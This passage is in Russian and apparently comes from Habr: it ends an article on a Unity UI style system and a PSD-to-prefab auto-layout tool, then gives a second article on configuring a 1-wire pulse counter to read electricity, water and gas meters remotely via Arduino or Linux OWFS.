4. **Button Style** <Название, Настройки кнопки>
5. **Layout Style** <Название, Спрайт, Отступы>
6. **Sprite Style** <Название, Спрайт>
7. **Localization Style** <Название, Ключ>
8. **Icon Style** <Название, Спрайт>
И в целом создавать стили можно легко и просто, наследуя его от базового. Например:
```
[CreateAssetMenu(menuName = "UIStyles/ColorStyle")]
public class ColorStyle : BaseStyle
{
}
```
Единственное ограничение: тип должен быть Serializable. Так что с созданием своего типа стиля справится даже верстальщик.
Некоторые стили нужны, чтобы изменять состояния UI. Например, Color Style, Text Style, Sprite Style, Button Style, Localization Style. Все они влияют на разные геймобджекты. Картинки красятся в разные цвета, в них подставляются разные спрайты и так далее.
До сих пор не было ясно, как все это юзать. Приведу простой пример. Допустим, у нас есть одна кнопка офферов разных цветов. Цвет кнопки зависит от самого оффера. И выглядят они вот так:
Тогда мы создаем один префаб с Image, на который повесим ColorStyleComponent, вставим в него стиль ColorStyle, где будут храниться все цвета, в которые может перекрашиваться кнопка, а потом внутри кода применять стили в зависимости от оффера.
Стили же FontStyle, IconStyle и LayoutStyle применяются для автоверстальщика. Это библиотечка всех шрифтов, иконок и подложек в проекте.
У системы со стилями есть огромное количество преимуществ (только куча ассетов в проекте могут раздражать):
* переиспользование;
* при изменении стиля не меняется префаб, но если что-то надо изменить, то это будет влиять на все префабы;
* верстальщики сами создают стили, меняют их и удаляют, что позволяет программистам забыть о куче полей в монобехах с цветами;
* стили можно применять прямо в редакторе за счет того, что для BaseStyleComponent пишется свой Editor.
Чтобы поменять состояния одного большого виджета, могут использоваться несколько стилей, выключаться/включаться разные объекты. Для этого в проекте был создан StateStyleComponent, который собирает в себя все стили и объекты, которые нужно включать/выключать. Затем прямо в виджете создаются и переключаются все его возможные состояния. Это избавляет программистов от кучи одинакового кода переключения цветов/шрифтов/текстов/спрайтов.
Затем мы создали автоверстальщик. Это инструмент, в который засовываешь psd, а на выходе создается сырой префаб, в который уже подставлены некоторые спрайты, проставлены позиции, имена, шрифты, размеры, алайны — все то, что так тщательно ручками копируется из psd верстальщиками. Он даже примерно проставляет анкоры и сохраняет иерархию. И делает это за считанные секунды, что в итоге экономит часы кропотливого копирования.
Само окно автоверстальщика выглядит скудным на настройки. В ходе использования эти настройки будут добавляться.
Чтобы получить все данные, был написан парсер psd именно под эти нужды на основе psd-спецификации. Это довольно скучный процесс, можно взять уже готовые библиотеки. Но так как мы хотели делать все по одной кнопке, пришлось написать с нуля.
Всю иерархию в фотошопе автоверстальщик копирует. Сначала создается корневой объект с названием префаба, который прианкорен к краям экрана. Внутри него создаются объекты по принципу, описанному выше — объект создается в корневом объекте, а потом ему присваивается настоящий родитель с сохранением глобальной позиции. Анкоры расставляются по принципу — к какому краю или центру объект расположен ближе всего, к тому и прибивается, отдельно по осям ОХ и ОY. Все позиции и размеры делаются целочисленными. Скрытые объекты автоверстальщик игнорирует.
В фотошопе есть 5 видов слоев: группы, пиксельные, формы, тексты и смарт-объекты.
1. **Группы (group layer)** в автоверстальщике превращаются в пустой геймобджект, поэтому в группу можно легко объединять какую-нибудь большую компоненту интерфейса типа хад, слот, группа слотов и так далее.
2. **Пиксельные (pixel layer)** просто становятся Image с белым цветом. Это могут быть иконки, бэки, картинки, светяшки. Потом вручную добавляются в проект, как спрайты и вставляются в Image.
3. **Формы (shape layer)** становятся картинкой с цветом шейпа. Это могут быть любые векторные элементы: лейауты, иконки и другие.
4. **Тексты (text layer)** в автоверстальщике становится TextMeshProUGUI и наследует текст, шрифт, цвет, обводку, тень, градиент, размер шрифта, позиционирование (справа, по центру, слева).
5. **Smart-объекты** становятся обычными пустыми геймобджектами. Смарт-объектами логично делать то, что уже версталось в качестве nested prefabs (например, верхний бар, который везде один)
Автоверстальщик также умеет собирать цвета из всех мест (например, цвет шейпа, цвет шрифта, эффект цвета, слой цвета) и преобразовывать их в один hex. Аналогично с прозрачностью.
Отдельно UI-дизайнер сразу проставляет опции в имена слоев и групп (как в Zeplin).
**Примеры опций в таблице**
| Опция | Аргументы | Значение | Пример | Объект в Unity |
| --- | --- | --- | --- | --- |
| -l | Название подложки из гайдлайнов (без пробелов) | Добавление на картинку спрайта | Hud Layout -l pink228 | Image\_HudLayout с компонентом Image с вставленным спрайтом лейаута pink228 из гайдлайнов |
| -cs | Название\_стиля. Опционально (без пробелов) | Добавляет ColorStyleComponent со стилем Название\_стиля | Hud Layout -cs HudLayoutColors
Hud Layout -cs | Image\_HudLayout с компонентом ColorStyleComponent со стилем внутри HudLayoutColors
Image\_HudLayout с компонентом ColorStyleComponent |
| -ts | Название\_стиля. Опционально (без пробелов) | Добавляет TextStyleComponent со стилем Название\_стиля | Ability -tsAbilityColors
Ability -ts | Text\_Ability с компонентом TextStyle со стилем внутри AbilityColors
Text\_Ability с компонентом TextStyle |
| -bs | Название\_стиля.
Опционально (без пробелов) | Добавляет ButtonStyleComponent со стилем Название\_стиля | Play -b -bs | |
| -b | | Это кнопка | Play -b
Play -b -l 1 | Button\_Play с компонентом Button и Image
Button\_Play с компонентом Button и Image с вставленным спрайтом лейаута 1 из гайдлайнов |
| Опционально | | | | |
| -hg | | Горизонтальная группа (исключительно на группе) | Module Buttons — hg | ModuleButtons с компонентом Horizontal layout group |
| -vg | | Вертикальная группа (исключительно на группе) | Module Buttons — vg | ModuleButtons с компонентом
Vertical layout group |
Плюсы инструмента: быстрая верстка, сохранение иерархии, добавление нужных компонентов, унификация имен гейм обджектов, автоматическое добавление стилей по имени, выключение рейкастов там, где это не нужно, примерное проставление анкроов.
Но у подхода есть и минусы: если psd-макет сделан из 1000 слоев для одной только кнопки, он будет практически бесполезен, в этом случае рекомендуется добавлять кнопку в смарт-объект. Также инструмент требует от UI-дизайнера нормальный и правильный нейминг — называть слои «Прямоугольник\_copy\_21\_1005» уже не получится. С другой стороны, это делает макеты более читабельными для других UI-дизайнеров.
В планах придумать систему, которая бы избавила от экспорта спрайтов подложек.
Верстка с автоверстальщиком popup из этой статьи заняла 3 минуты 13 секунд (если не считать закидывания спрайтов в проект). Ручками занимает 18 минут 32 секунды. При этом в верстке ручками есть еще и проблемы — местами неверные позиции, которые заметит зоркий глаз UI-дизайнера и придется переделывать. Поэтому автоматическая верстка хороша ещё и тем, что она исключает человеческий фактор.
И несколько отзывов об автоверстальщике:
> *«Автоверстальщик значительно ускоряет работу, но пока, кажется, что нужно упростить порог вхождения, установку и настройку»*
> *«Думаю, если стили настраивать верстальщику — по времени без особой разницы, а вот дизайнерам и программистам сэкономит время и нервы точно»*
> *«штука очень крутая))»*
> *«Стили — тема очень крутая, в нашем проекте подобного не хватает, так как любят перекрашивать кнопки на макетах, тексты и т.п. Очень здорово, что теперь такое можно закрепить в стилизаторе и никакой головной боли, что у тебя разные цвета или разные спрайты в однородных местах»*
> *«Версткой должны заниматься сами UI-дизайнеры, потому что только они знают особенности своих макетов. А автоверстальщик — отличная штука для тех, кто не хочет разбираться в тонкостях верстки. Если у инструмента будет понятный интерфейс и он научится в Figma, то будет просто роскошно»*
Лично я думаю, что автоматизировать надо все, что можно автоматизировать, а людям давать возможность заниматься более творческой и изобретательной работой. | https://habr.com/ru/post/462835/ | null | ru | null |
# Дистанционный съем показаний со счетчиков
При разработке домашней автоматизации ("умного дома") рано или поздно возникает задача дистанционного съема показаний с бытовых приборов учета (БПУ) электроэнергии, воды, тепла, газа. Если в БПУ нет специального интерфейса для считывания показаний, то такая задача решается с помощью дополнительного устройства, которое в своей памяти будет вести копию показаний БПУ и иметь интерфейс для считывания этих показаний. Есть много вариантов реализации такого устройства на любой вкус, но практически все они требуют наличия в БПУ электронного импульсного выхода. К сожалению, далеко не все БПУ оборудованы таким выходом. В этой статье представлен обзор одного устройства, которое может работать с любым БПУ, как с импульсным выходом, так и без.
### Теоретическая сторона вопроса
Как правило, БПУ кроме цифровой индикации для визуального съема показаний человеком оборудованы теми или иными средствами для возможности автоматизированного съема показаний. К таким средствам относятся:
* мигающий светодиод,
* колесо с прорезями или чередующейся окраской ("мельничка"),
* меняющееся магнитное поле,
* электронный имульсный выход
В первых трех случаях потребуется применение соответствующих датчиков: фототранзистора, инфракрасного отражателя, датчика Холла или геркона. Имульсный выход - это, как правило, "сухой контакт" (геркон), "открытый коллектор" или NAMUR.
Единицей передаваемой от БПУ информации во всех случаях будет импульс - сигнал о том, что БПУ отсчитал определенное количество единиц измеряемой им величины. Количество этих единиц - цена импульса - указывается на самом БПУ или в его паспорте. Соответственно устройство, которое потребуется для дистанционного съема показаний, функционально будет счетчиком импульсов.
Сам импульс будет соответствовать определенному переходу: из разомкнутого состояния геркона в замкнутое (или наоборот), увеличению (или уменьшению) проводимости фототранзистора или выхода NAMUR, превышению определенного порога напряжением с датчика Холла и т.п. В некоторых случаях сигнал с датчика или выхода БПУ будет соответствовать уровням TTL и его можно подавать напрямую на логические входы микросхем, во всех остальных случаях уровень сигнала потребуется сравнивать с некоторыми пороговыми значениями для искуственного преобразования в логический. Последнее можно сделать либо схемотехнически (компаратор и подстроечный резистор), либо программно (результат АЦП сравнивать с цифровым пороговым значением).
*В TTL логике напряжение на логическом входе выше Vih=2В гарантированно воспринимается входом как высокий логический уровень (логическая "1"), напряжение ниже Vil=0.8В - гарантированно как низкий (логический "0"), а в промежутке - нет гарантий, как именно будет воспринято входом.*
Можно ли провести кабель от датчика к серверу или контроллеру умного дома и считать импульсы самим сервером? Можно, но у такого решения есть ряд недостатков:
* большое число кабелей,
* высокий уровень помех (падение напряжения на длинной линии, наводки),
* потеря имульсов и рассинхронизация с БПУ при любом обрыве линии или отключении сервера.
Поэтому счетчик импульсов оптимально делать в виде отдельного простого устройства с собственным источником питания и располагать непосредственно возле БПУ. Источник питания (например батарейка) может играть роль как основного (единственного) источника питания, так и резервного на случай отключения внешнего питания и должен обеспечить возможность подсчета импульсов в полностью автономном режиме работы длительное время. Устройство должно быть максимально простым как схемотехнически (чем больше дискретных компонентов, тем выше энергопотребление), так и программно (чем больше задач выполняет устройство, тем выше вероятность сбоев или пропуска импульсов).
### Счетчик импульсов
Имея изложенные выше теоретические сведения, можно реализовать счетчик импульсов на микроконтроллере, а можно воспользоваться уже готовым устройством. В статье будет представлен обзор устройства [Счетчик импульсов с интерфейсом 1-wire](https://arduino.ua/prod4180-schetchik-impylsov-s-interfeisom-1-wire-sdelano-v-ykraine), который отвечает всем вышеперечисленным требованиям.
С одной стороны у счетчика есть два счетных входа A и B, которые работают со всеми типами выходов БПУ и всеми применяемыми датчиками, а также выход PWR для опционального питания датчиков. С другой стороны, как следует из названия, - коммуникационный интерфейс 1-wire. Счетчик имеет разъем для батарейки CR2032 и достаточно низкое энергопотребление, чтобы продержаться на этой батарейке от нескольких месяцев до нескольких лет в случае сбоя внешнего питания.
Важной особенностью данного счетчика импульсов является встроенное преобразование аналогового сигнала на счетных входах в логический, позволяющее ему работать не только с выходами БПУ или датчиками с логическим выходом (с TTL логикой), но и с датчиками с аналоговым выходом.
### Подключение к arduino
Протокол 1-wire имеет как свои преимущества, так и недостатки, одним из которых является отсутствие аппаратной поддержки в микроконтроллерах. Для подключения к arduino потребуются сразу две библиотеки: [OneWire](http://playground.arduino.cc/Learning/OneWire) и [DS2423](https://github.com/honechko/DS2423). В первой содержится программная реализация протокола 1-wire (канальный и сетевой уровень ISO OSI), а во второй - функции работы уже со счетчиком импульсов (прикладной уровень), вместе с библиотеками в архиве есть и примеры.
У счетчика импульсов есть множество настроек, но, к сожалению, из arduino интерактивно выполнить настройку будет крайне неудобно. Поэтому настроить счетчик лучше из Linux, а затем, если требуется работа с arduino, переподключить к arduino. Счетчик не потеряет настройки при наличии хотя бы одного любого источника питания: внешнего или батарейки.
### Подключение к Linux
В статье [Как перестать бояться и полюбить 1-wire](https://habr.com/ru/post/529720/) подробно описано подключение 1-wire устройств к Linux с помощью трех видов адаптеров: gpio, пассивного и аппаратного. Счетчик импульсов работает со всеми типами адаптеров, но он поддерживает только стандартное для 1-wire напряжение 5В. Поэтому при использовании w1-gpio в Raspberry Pi (у которой на пинах 3.3В) потребуется схема с преобразователем логических уровней:
Подключение счетчика к Linux можно использовать как непосредственно для периодического считывания счетных регистров, так и для конфигурирования. Для обоих задач лучше всего использовать пакет [OWFS](https://github.com/owfs/owfs/), в котором счетчик имеет полную поддержку. Только для считывания счетных регистров достаточно работающего демона `owserver`, а для конфигурирования понадобится запустить еще и `owhttpd`.
Убедиться, что связка owserver + адаптер + счетчик работает корректно, можно командой для получения списка всех 1-wire устройств на шине:
`# owdir /uncached`
Адреса счетчиков будут начинаться на `1d.` Получить значения счетных регистров определенного счетчика можно командой:
`# owget /uncached/1d.0410a5d4e800/counter.ALL ;echo`
**Конфигурирование счетчика**
Когда оба демона (`owserver` и `owhttpd`) запущены нужно открыть страницу [setup.htm](http://honey.com.ua/counter/setup.htm) и ввести IP-адрес и порт, на котором принимает соединения `owhttpd`. После этого отобразится список всех найденных на шине 1-wire устройств, при этом адреса счетчиков импульсов будут активными ссылками. При нажатии на адрес нужного счетчика откроется страница его конфигурации:
На скриншоте представлена конфигурация, которую имеет счетчик после сброса к заводским настройкам, сброс выполняется полным обесточиванием.
Кнопка `Reload` служит для считывания текущей конфигурации со счетчика и обновления ее на странице. Считывание и обновление можно зациклить опцией `continuous`, для выхода из цикла опцию необходимо отключить.
Кнопка `Update` служит для записи в счетчик начальных значений счетных регистров, а кнопка `Save` - для записи всех настроек кроме счетных регистров. Раздельное сохранение сделано для того, чтобы запись настроек не сбивала ход счетчиков.
В строке `Sens A`, `Sens B` отображается текущий логический уровень со счетных входов (`high` или `low`), либо считанный непосредственно, либо после внутреннего преобразования аналогового сигнала в логический.
Строка `Page0` показывает содержимое нулевой страницы памяти счетчика, в этих байтах закодирована конфигурация счетчика и значения счетных регистров. Точно такую же строку можно получить командой:
`# owget --hex /uncached/1d.0410a5d4e800/pages/page.0`
А отредактировав конфигурацию, можно записать ее обратно в память счетчика:
`# owwrite --hex /uncached/1d.0410a5d4e800/pages/page.8 0000000000000000000000000013000000e0540002580017e60043431c013a01`
Запись производится в страницу `page.8`, это не ошибка. Страницы `page.0` и `page.8` содержат копии друг друга, при чтении никакой разницы нет, а при записи в `page.0` реально записываются только первые 8 байт, отвечающих за значения счетных регистров, а при записи в `page.8` - байты с 8 по 13, отвечающие за конфигурацию. Более подробно о назначении байтов можно узнать на [странице](http://honey.com.ua/counter/memory.htm). По сути это низкоуровневый способ конфигурирования счетчика. Если посмотреть исходник страницы [setup.htm](http://honey.com.ua/counter/setup.htm), то она с помощью `XMLHttpRequest` обращается к `owhttpd` и делает то же самое.
### Параметры конфигурации счетчика
Параметры `threshold falling` и `threshold rising` принимают значения от 0 до 255 и служат для преобразования аналогового сигнала в логический. Если уровень сигнала после АЦП больше или равен `threshold rising`, счетчик преобразовывает его в `high`, если меньше или равен `threshold falling` - то в `low`, а если в промежутке, то оставляет предыдущее значение. Таким образом реализован гистерезис, используемый для устранения эффекта дребезга. Если установлено `threshold falling` >= `threshold rising`, то преобразование отключено и счетный вход настроен на прием логического сигнала.
Параметр `increment on falling`/`rising`/`both edge(s)` задает момент, когда увеличивать значение счетчика - по переходу из `high` в `low`, по переходу из `low` в `high`, или по любому изменению логического уровня.
Параметр `pullup` указывает, следует ли подключать внутренний резистор подтяжки между счетным входом и питанием. Правило такое: если датчик сам создает на своем выходе уровень напряжения, то `pullup` не нужен, а если датчик только изменяет свою проводимость, то `pullup` нужен. Опция `pullup` это не то же самое, если бы подключить внешний резистор подтяжки, разница в том, что внутренний резистор подключается только кратковременно перед опросом счетного входа.
Параметр `sensors power` задает поведение выхода PWR для питания датчиков, питание можно отключить (`off`), включить непрерывно (`always on`) или включить импульсно (`pulse on`), в последнем случае питание будет включаться кратковременно непосредственно перед опросом счетных входов. Есть одно "но" - ток через выход PWR очень сильно ограничен, запитать от него получится только экзотические датчики с микроамперным потреблением (например датчика Холла SM351LT/SM353LT), или использовать его для управления затвором полевого транзистора. Полезным является только четвертый режим `pulse on, swap B & PWR`. В этом режиме назначение выводов B и PWR меняется местами, т.е. счетными входами становятся выводы A и PWR, а питание для датчиков берется с вывода B. В этом режиме уже нет ограничений по току питания датчиков, питание включается только кратковременно непосредственно перед опросом счетных входов.
Пареметр `pullup/poweron pulse duration` (задержка перед замером) задает промежуток времени между моментом включения питания датчиков (если используется режим импульсного питания) и подключения резисторов подтяжки (если разрешены) и моментом опроса счетных входов. Эта задержка необходима датчику для включения, завершения переходных процессов и выхода на стабильный режим работы. Очевидно, что данный параметр непосредственно влияет на среднее энергопотребление, поэтому установить нужно минимальное приемлемое значение. Выбрать можно из вариантов: 25мкс, 50мкс, 125мкс и 425мкс.
Параметр `sampling period` (периодичность замеров) определяет, какой минимальной продолжительности сигнал высокого либо низкого уровня будет гарантированно замечен счетчиком. Например, продолжительность вспышки светодиода (соответствует низкому уровню сигнала с фототранзистора) составляет 100мс, но вспышки могут следовать редко, а могут и так часто, что интервал между вспышками (соответствует высокому уровню сигнала) будет 50мс. Поэтому периодичность замеров необходимо устанавливать меньше, чем минимальное из значений. Параметр также влияет на энергопотребление. На выбор доступно: 19мс, 38мс, 75мс, 150мс.
*Откуда взялось 50мс? Решаем задачу: БПУ выдает 2000имп/1кВтч, сколько будет импульсов в секунду при потреблении 12кВт? Ответ: 12\*2000 = 24000имп/ч, 24000/3600 = 6.67имп/сек, а период будет 1/6.67 = 0.15сек = 150мс, из них 100мс низкий уровень и 50мс - высокий.*
К сожалению, два последних параметра нельзя установить раздельно для каждого из двух каналов. Например, может возникнуть ситуация, когда один датчик потребляет очень большой ток, ему подошло бы минимальное значение параметра задержка перед замером и тогда потребление было бы на приемлемом уровне, но второму датчику (совсем другого типа) требуется максимальное значение задержки, тогда придется установить именно это значение, что приведет к повышенному энергопотреблению за счет первого датчика. Хоть ситуация и редкая, т.к. датчики для рядом расположенных БПУ обычно однотипные, но в случае ее возникновения может быть лучше использовать два счетчика импульсов.
### Режим измерений
Чтобы установить параметры `threshold falling` и `threshold rising` для работы с аналоговым датчиком, их значения нужно откуда-то взять. Поскольку с этими значениями сравнивается уровень сигнала после АЦП, то необходимо, чтобы была возможность мониторить этот уровень, и тогда можно будет подобрать необходимые значения для threshold. Часто уровень, который нужно было бы измерить, присутствует очень короткий промежуток времени, типичный пример - вспышка светодиода, "поймать" вспышку, чтобы во время нее измерить уровень сигнала, крайне сложно.
В счетчике импульсов эта задача решена следующим образом. Есть "режим измерений", в котором непрерывно накапливается статистика минимального и максимального значения (диапазон) уровня сигнала после АЦП. Статистику можно читать со счетчика, а также в любой момент ее можно обнулить, счетчик тут же продолжит накапливать ее снова.
На скриншоте показана страница конфигурации с включенным режимом измерений, в котором появляются дополнительные данные `Min`, `Max` и `Samples`.
В накоплении статистики участвуют не все значения уровня, а только те, которые получены при соблюдении определенных условий. Вот эти условия:
1. уровень сигнала получен с канала A (или B),
2. после преобразования сигнала в логический он был low (или high),
3. во время чтения уровня счетчик питался от 1-wire (или от батарейки).
Все три условия должны соблюдаться одновременно.
Полезным для "отлова" вспышек будет второе условие. Работает это так: сначала необходимо узнать уровень сигнала, когда нет вспышек (в режиме темноты), затем установить `threshold falling` и `threshold rising` немного ниже этого уровня (не забываем, `threshold rising` должен быть хотя бы на единицу больше `threshold falling`, чтобы преобразование включилось). Теперь все, что больше threshold, счетчик будет преобразовывать в `high`, это во время темноты, а все, что ниже, - в `low`, это во время вспышки. Если включить режим измерений с условием `low`, то счетчик сам будет "ловить" вспышки - в статистику минимального и максимального значений уровня попадут только те, которые были во время вспышек. Очень подробно этот алгоритм будет рассмотрен ниже в примере для фототранзистора.
Кроме этого счетчик еще и сосчитает, сколько значений прошло через фильтр и попало в статистику. Разделив это количество на количество импульсов, которые счетчик насчитал за тот же промежуток времени, можно узнать среднюю продолжительность одной вспышки.
Неприятным моментом является то, что при выходе из режима измерений в счетных регистрах появляются большие случайные значения. И при включении режима измерений статистика начинает вестиcь с каких-то случайных величин. Причина в том, что для статистики используются старшие разряды счетных регистров. Поэтому после включения режима измерений необходимо сразу обнулить статистику, а после выхода из режима - заново установить начальные значения счетчиков.
### Примеры подключения датчиков
Ниже будут рассмотрены схемы подключения и соответствующая конфигурация счетчика для популярных датчиков и выходов БПУ. Чтобы не описывать всю конфигурацию, будут описаны только отличия, которые нужно внести относительно заводской настройки (для сброса счетчика к заводской настройке его необходимо полностью обесточить).
Для каждого примера будут сделаны измерения тока потребления от батарейки (с отключенным интерфейсом 1-wire) с настроенным одним датчиком и двумя одинаковыми датчиками. Параметр задержка перед замером будет использован минимальный, при котором датчик уверенно работает. Т.к. параметр периодичность замеров зависит не от типа датчика, а от БПУ, то измерения будут сделаны для самого минимального и самого максимального значения этого параметра.
Измерения будут проводиться обычным мультиметром. Хоть это и не правильный способ измерения микротоков и, тем более, импульсных, но в данном случае не важна точноcть, а нужен только порядок величины.
*Правильно было бы питать счетчик от заряженного ионистора, затем измерять, на сколько упало напряжение на ионисторе, отсюда вычислять, какой заряд прошел через счетчик, а заряд деленный на время даст ток.*
На фото показан способ подключения и пример потребления счетчика импульсов с заводскими настройками без подключенных датчиков. Напряжение на батарейке, которая участвует в тестировании, равно 3.2В (не первой свежести).
*Как рассчитать время работы от батарейки? Решаем задачу: емкость CR2032 около 210мАч, ток потребления устройства 3мкА, отсюда теоретическое время работы устройства: 210/0.003 = 70000ч, 70000/24/365.25 = 8лет. При увеличении потребления время уменьшится пропорционально, например, при 6мкА составит 4года.*
Если счетчик подключить к интерфейсу 1-wire, то ток потребления от батарейки стает нулевым, т.е. счетчик при наличии внешнего питания, хоть VCC, хоть "паразитного", вообще не расходует заряд батарейки.
Естественно, приведенные далее примеры не означают, что можно подключать только два однотипных датчика, датчики могут быть и разного типа.
**Пример 1: геркон**
К этому типу также относятся выходы БПУ сухой контакт, открытый коллектор, оптрон, кнопка и все, что меняет свое сопротивление от почти бесконечного до почти нуля. После сброса счетчика к заводским настройкам, оба счетных входа настроены на работу именно с этим типом выхода/датчика. Для данного выхода/датчика подходит заводская настройка параметра задержка перед замером, равная 25мкс.
Измеренный ток потребления составляет от 3мкА при периодичности замеров 150мс (заводская установка) до 6мкА при 19мс, и не зависит от количества подключенных датчиков этого типа.
**Пример 2: NAMUR**
Если посмотреть эквивалентную схему выхода [NAMUR](https://ru.wikipedia.org/wiki/NAMUR), то видно, что сопротивление этого двухполюсника может иметь два конечных ненулевых значения (например 1кОм и 11кОм), а нулевое и бесконечное служат для выявления КЗ или обрыва линии. Для работы с этим выходом счетный вход необходимо перевести в аналоговый режим. Подходящими значениями конфигурации для этого будут: `threshold falling` = 20, `threshold rising` = 30, это единственное изменение относительно заводских настроек, которое необходимо внести для счетного входа, к которому подключен NAMUR.
*Откуда взялись значения 20 и 30? Согласно описанию выхода NAMUR при подаче на него напряжения 8.2В потечет ток, если ток выше 2.1мА, то это одно состояние, если ниже, то другое. Таким образом пороговое сопротивление 8.2/2.1 = 3.9кОм. Сопротивление внутреннего резистора подтяжки счетчика импульсов около 35кОм, на образованном делителе напряжения АЦП выдаст результат 3.9/(35+3.9)\*256 = 25.7, осталось прибавить небольшой гистерезис.*
В счетчике импульсов не предусмотрено распознавание КЗ или обрыва линии, о которых может сообщать NAMUR, но для короткой линии это не актуально.
Измеренный ток потребления составляет от 4мкА при периодичности замеров 150мс до 9мкА при 19мс, и не зависит от количества подключенных датчиков этого типа.
**Пример 3: фототранзистор**
К этому типу в некоторых случаях необходимо также отнести выходы БПУ открытый коллектор и оптрон. Разница с первым примером в том, что сопротивление может меняется не от почти бесконечности и не до почти нуля, поэтому не получится использовать логический режим счетного входа. Параметры threshold для аналогового режима нужно подбирать для каждого конкретного случая. Причем их нужно подобрать так, чтобы threshold одинаково четко разделяли сигнал при работе счетчика и от внешнего питания, и от батарейки, это связано с нелинейность ВАХ данного выхода/датчика.
Для понимания принципа подбора параметров threshold будет рассмотрен случай вспыхивающего светодиода, когда есть длительные промежутки без вспышек и короткие вспышки:
1. выставить `threshold falling` = 0, `threshold rising` = 1 и режим измерений `X high @ Ext pwr`, где `X` это исследуемый канал A или В;
2. нажать `Reset` и определить диапазон значений, соответствующих "темноте", когда светодиод на БПУ не мигал ни разу (для этого после `Reset` подождать и нажать `Reload`). Например, диапазон оказался таким: 80..120. Выполнить п.2 несколько раз для исключения ошибок;
3. выставить `threshold falling` = 75, `threshold rising` = 76, т.е. чуть меньше минимального значения из п.2, и режим измерений `X low @ Ext pwr`;
4. нажать `Reset` и определить диапазон значений, соответствующих горящему светодиоду, для этого дождаться нескольких вспышек (и нажать `Reload`). Например, диапазон оказался таким: 7..15. Также выполнить п.4 несколько раз;
5. выставить `threshold falling` = 0, `threshold rising` = 1 и режим измерений `X high @ Bat pwr`;
6. нажать `Reset`, отключить счетчик от 1-wire, подождать и снова подключить к 1-wire, если светодиод в этот промежуток мигнул хоть раз, повторить п.6 с начала. Таким образом будет определен диапазон значений, соответствующих "темноте", но в отличие от п.2 это значение получено при питании счетчика от батарейки. Например, диапазон оказался таким: 65..109. Выполнить п.6 несколько раз для исключения ошибок;
7. выставить `threshold falling` = 60, `threshold rising` = 61, т.е. чуть меньше минимального значения из п.6 и режим измерений `X low @ Bat pwr`;
8. нажать `Reset`, отключить счетчик от 1-wire, подождать несколько вспышек и снова подключить к 1-wire. Таким образом будет определен диапазон значений, соответствующих горящему светодиоду, но в отличие от п.4 это значение получено при питании счетчика от батарейки. Например, диапазон оказался таким: 8..21. Также выполнить п.8 несколько раз;
9. Объединить диапазоны п.2 и п.6, будет 65..120 и диапазоны п.4 и п.8, будет 7..21. Искомые рабочие значения threshold будут в промежутке, можно установить, например, `threshold falling` = 30, `threshold rising` = 40, после этого отключить режим измерений и установить начальные значения счетчиков.
Значение параметра задержка перед замером осталось минимальным 25мкс, но если у выхода/датчика окажется очень большая емкость, то в режиме темноты могут не успевать закончится переходные процессы и разрыв между диапазонами будет очень мал, чтобы уверенно разделять сигнал на два состояния, в этом случае может потребоваться увеличить задержку перед замером и повторить весь алгоритм.
При работе с фототранзистором очень важно защитить его от проникновения постороннего света, например, солнечных лучей, фонарика и т.п.
Ток потребления с датчиком фототранзистор ровно такой же, как для NAMUR - от 4мкА при 150мс до 9мкА при 19мс.
**Пример 4: инфракрасный отражатель TCRT5000**
Конструктивно инфракрасный отражатель (его еще называют фотопрерывателем) состоит из инфракрасного светодиода и фототранзистора, поэтому отличие настройки от примера с фототранзистором будет состоять только в настройке питания для светодиода. Естественно, для питания подойдет только режим `pulse on, swap B & PWR`, в этом режиме к B подключаются светодиод(ы), а к A и PWR - фототранзисторы. TCRT5000 отлично работает при минимальном параметре задержка перед замером 25мкс. При тестировании датчик размещался в закрытой картонной коробке и уверенно определял наличие или отсутствие перед ним белого фона на расстоянии около 3см, это даже больше, чем нужно.
*Принцип работы отражателя состоит в изменении проводимости фототранзистора от воздействия отраженного или рассеянного света предметом, помещенным перед ним. Отражатель реагирует как на появление предмета, например, стрелки, так и на изменение цвета фона перед ним и может работать через стекло.*
Для понимания принципа подбора параметров threshold будет рассмотрен случай, когда фон перед датчиком меняется не скачкообразно, а плавно и есть возможность установить перед датчиком нужный варианта фона, например, открыв кран с водой, подождав поворота колеса с фоном в БПУ на нужный угол и закрыв кран:
1. выставить `threshold falling` = 0, `threshold rising` = 1 и режим измерений `X high @ Ext pwr`, где `X` это исследуемый канал A или В;
2. выбрать режим `continuous` и нажать `Reload`, заставить фон перед датчиком медленно меняться, нажать `Reset`, дождаться когда максимальное значение перестанет расти и сразу остановить изменение фона, отключить `continuous`;
3. нажать `Reset` и определить (подождав и нажав `Reload`) диапазон значений, соответствующих максимально темному фону (на самом деле это будет не точный максимум, но для нахождения threshold это не принципиально). Например, диапазон оказался таким: 62..76. Выполнить п.3 несколько раз для исключения ошибок;
4. установить режим измерений `X high @ Bat pwr,` нажать `Reset`, отключить счетчик от 1-wire, подождать и снова подключить к 1-wire. Таким образом будет определен диапазон значений, соответствующих темному фону, но в отличие от п.3 это значение получено при питании счетчика от батарейки. Например, диапазон оказался таким: 68..91. Выполнить п.4 несколько раз для исключения ошибок;
5. выбрать режим `continuous` и нажать `Reload`, заставить фон перед датчиком медленно меняться, нажать `Reset`, дождаться когда минимальное значение перестанет уменьшаться и сразу остановить изменение фона, отключить `continuous`;
6. нажать `Reset` и определить диапазон значений, соответствующих максимально светлому фону. Например, диапазон оказался таким: 8..11. Выполнить п.6 несколько раз для исключения ошибок;
7. установить режим измерений `X high @ Bat pwr`, нажать `Reset`, отключить счетчик от 1-wire, подождать и снова подключить к 1-wire. Таким образом будет определен диапазон значений, соответствующих светлому фону, но в отличие от п.6 это значение получено при питании счетчика от батарейки. Например, диапазон оказался таким: 15..25. Выполнить п.7 несколько раз для исключения ошибок;
8. Объединить диапазоны п.3 и п.4, будет 62..91 и диапазоны п.6 и п.7, будет 8..25. Искомые рабочие значения threshold будут в промежутке, можно установить, например, `threshold falling` = 30, `threshold rising` = 40, после этого отключить режим измерений и установить начальные значения счетчиков.
Ток потребления с одним датчиком TCRT5000 от 6..19мкА при 150мс до 89..92мкА при 19мс (показания мультиметра скачут, поэтому указано минимальное и максимальное из показаний), при двух датчиках - от 7..20мкА до 91..94мкА соответственно.
То, что при одном и при двух датчиках потребление примерно одинаковое, говорит о том, что ток светодиодов ограничивается максимальным током выхода питания счетчика, этот максимальный ток идет либо через один светодиод, либо распределяется поровну через два. Светодиоды не сгорают потому, что ток импульсный, по даташиту данный светодиод может выдержать ток до 3А при импульсах 10мкс. Ток правильно было бы ограничить, например, до около 10мА, это снизит энергопотребление и немного ухудшит чувствительность датчика. При напряжении питания около 3В и падении напряжения на светодиоде 1.25В, сопротивление токоограничивающего резистора должно быть порядка (3-1.25)/0.01 = 185 Ом.
